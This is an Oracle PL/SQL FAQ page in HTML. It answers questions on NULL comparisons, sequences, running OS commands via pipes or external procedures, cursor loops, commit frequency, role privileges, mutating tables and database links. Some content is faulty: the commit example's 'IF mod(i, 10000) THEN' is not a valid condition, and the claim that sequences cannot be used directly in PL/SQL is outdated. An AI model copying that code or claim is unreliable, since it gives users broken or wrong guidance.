<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_What_is_the_1"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">What is the result of comparing NULL with NULL?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">NULL is neither equal to NULL, nor it is not equal to NULL. Any comparison to NULL is evaluated to NULL. Look at this code example to convince yourself. </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               declare</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 a number := NULL;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 b number := NULL;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               begin</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 if a=b then</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                    dbms_output.put_line('True, NULL = NULL');</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 elsif a&lt;&gt;b then</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                    dbms_output.put_line('False, NULL &lt;&gt; NULL');</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 else</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                    dbms_output.put_line('Undefined NULL is neither = nor &lt;&gt; to NULL');</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 end if;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               end;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_How_does_one"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">How does one get the value of a sequence into a PL/SQL variable?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">As you might know, one cannot use sequences directly from PL/SQL. Oracle prohibits this:</span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               i := sq_sequence.NEXTVAL;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">However, one can use embedded SQL statements to obtain sequence values:</span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               select sq_sequence.NEXTVAL into :i from dual;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_Can_one_execute"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Can one execute an operating system command from PL/SQL?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">There is no direct way to execute operating system commands from PL/SQL in <strong>Oracle7</strong>. However, one can write an external program (using one of the precompiler languages, OCI or Perl with Oracle access modules) to act as a listener on a database pipe (SYS.DBMS_PIPE). Your PL/SQL program then put requests to run commands in the pipe, the listener picks it up and run the requests. Results are passed back on a different database pipe. </span></span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">In <strong>Oracle8</strong> one can call external 3GL code in a dynamically linked library (DLL or shared object). One just write a library in C/ C++ to do whatever is required. Defining this C/C++ function to PL/SQL makes it executable. Look at this <a href="http://orafaq.com/scripts/c_src/extproc.txt"><span style="color: #0000ff;">External Procedure</span></a> example. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_How_does_one_1"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">How does one loop through tables in PL/SQL?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Look at the following <strong>nested loop</strong> code example. </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               DECLARE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  CURSOR dept_cur IS</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  SELECT deptno</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                    FROM dept</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                   ORDER BY deptno;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  -- Employee cursor all employees for a dept number</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  CURSOR emp_cur (v_dept_no DEPT.DEPTNO%TYPE) IS</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  SELECT ename</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                    FROM emp</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                   WHERE deptno = v_dept_no;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               BEGIN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  FOR dept_rec IN dept_cur LOOP</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                     dbms_output.put_line('Employees in Department '||TO_CHAR(dept_rec.deptno));</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                     FOR emp_rec in emp_cur(dept_rec.deptno) LOOP</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                        dbms_output.put_line('...Employee is '||emp_rec.ename);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                     END LOOP;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 END LOOP;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               END;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               /</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_How_often_should"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">How often should one COMMIT in a PL/SQL loop? / What is the best commit strategy?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Contrary to popular believe, one should <strong>COMMIT less frequently</strong> within a PL/SQL loop to prevent ORA-1555 (Snapshot too old) errors. The higher the frequency of commit, the sooner the extents in the rollback segments will be cleared for new transactions, causing ORA-1555 errors. </span></span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">To fix this problem one can easily rewrite code like this: </span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               FOR records IN my_cursor LOOP</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  ...do some stuff...</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  COMMIT;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               END LOOP;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">&#8230; to &#8230; </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               FOR records IN my_cursor LOOP</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  ...do some stuff...</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  i := i+1;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  IF mod(i, 10000) THEN    -- Commit every 10000 records</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                     COMMIT;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  END IF;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               END LOOP;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">If you still get ORA-1555 errors, contact your DBA to increase the rollback segments. </span></span></p>
<p><strong><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">NOTE:</span></strong><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> Although fetching across COMMITs work with Oracle, is not supported by the ANSI standard. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_I_can_SELECT"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">I can SELECT from SQL*Plus but not from PL/SQL. What is wrong?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">PL/SQL respect object privileges given directly to the user, but does not observe privileges given through roles. The consequence is that a SQL statement can work in SQL*Plus, but will give an error in PL/SQL. Choose one of the following solutions: </span></span></p>
<ul type="disc">
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l2 level1 lfo1; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: small;">Grant <strong>direct</strong> access on the tables to your user. Do not use roles! </span></span></li>
</ul>
<pre style="margin-left: 0.5in; text-indent: -0.25in; mso-list: l2 level1 lfo1;"><span style="color: #00008b;"><span style="font-size: 10pt; font-family: Symbol; mso-bidi-font-size: 11.0pt; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: Symbol;">·</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;;">                </span><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">         GRANT select ON scott.emp TO my_user;</span></span></pre>
<pre style="margin-left: 0.5in;"><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">    </span></span></pre>
<ul type="disc">
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l2 level1 lfo1; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: small;">Define your procedures with invoker rights (Oracle 8i and higher); </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l2 level1 lfo1; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: small;">Move all the tables to one user/schema. </span></span></li>
</ul>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in; tab-stops: list .5in;"><a name="_What_is_a"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">What is a mutating and constraining table?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">&#8220;Mutating&#8221; means &#8220;changing&#8221;. A mutating table is a table that is currently being modified by an update, delete, or insert statement. When a trigger tries to reference a table that is in state of flux (being changed), it is considered &#8220;mutating&#8221; and raises an error since Oracle should not return data that has not yet reached its final state. </span></span></p>
<p style="tab-stops: list .5in;"><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">Another way this error can occur is if the trigger has statements to change the primary, foreign or unique key columns of the table off which it fires. If you must have triggers on tables that have referential constraints, the workaround is to enforce the referential integrity through triggers as well. </span></p>
<p style="tab-stops: list .5in;"><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">There are several restrictions in Oracle regarding triggers: </span></p>
<ul type="disc">
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l1 level1 lfo2; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: small;">A row-level trigger cannot query or modify a mutating table. (Of course, NEW and OLD still can be accessed by the trigger) . </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l1 level1 lfo2; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: small;">A statement-level trigger cannot query or modify a mutating table if the trigger is fired as the result of a CASCADE delete. </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l1 level1 lfo2; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: small;">Etc. </span></span></li>
</ul>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in; tab-stops: list .5in;"><a name="_Can_one_pass"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Can one pass an object/table as an argument to a remote procedure?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The only way the same object type can be referenced between two databases is via a database link. Note that it is not enough to just use the same type definitions. Look at this example: </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               -- Database A: receives a PL/SQL table from database B</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               CREATE OR REPLACE PROCEDURE pcalled(</span></span><span style="font-size: 11pt; color: blue; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">TabX DBMS_SQL.VARCHAR2S</span><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">) IS</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               BEGIN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  -- do something with TabX from database B</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  null;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               END;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               /</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;"> </span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               -- Database B: sends a PL/SQL table to database A</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               CREATE OR REPLACE PROCEDURE pcalling IS</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  TabX </span></span><span style="font-size: 11pt; color: blue; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="mailto:DBMS_SQL.VARCHAR2S@DBLINK2"><span style="color: #0000ff;">DBMS_SQL.VARCHAR2S@DBLINK2</span></a>;</span><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               BEGIN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  pcalled@DBLINK2(TabX);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               END;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               /</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;"> </span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in; tab-stops: list .5in;"><a name="_Is_it_better"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Is it better to put code in triggers or procedures? What is the difference?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">In earlier releases of Oracle it was better to put as much code as possible in procedures rather than triggers. At that stage procedures executed faster than triggers as triggers had to be re-compiled every time before executed (unless cached). In more recent releases both triggers and procedures are compiled when created (stored p-code) and one can add as much code as one likes in either procedures or triggers. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
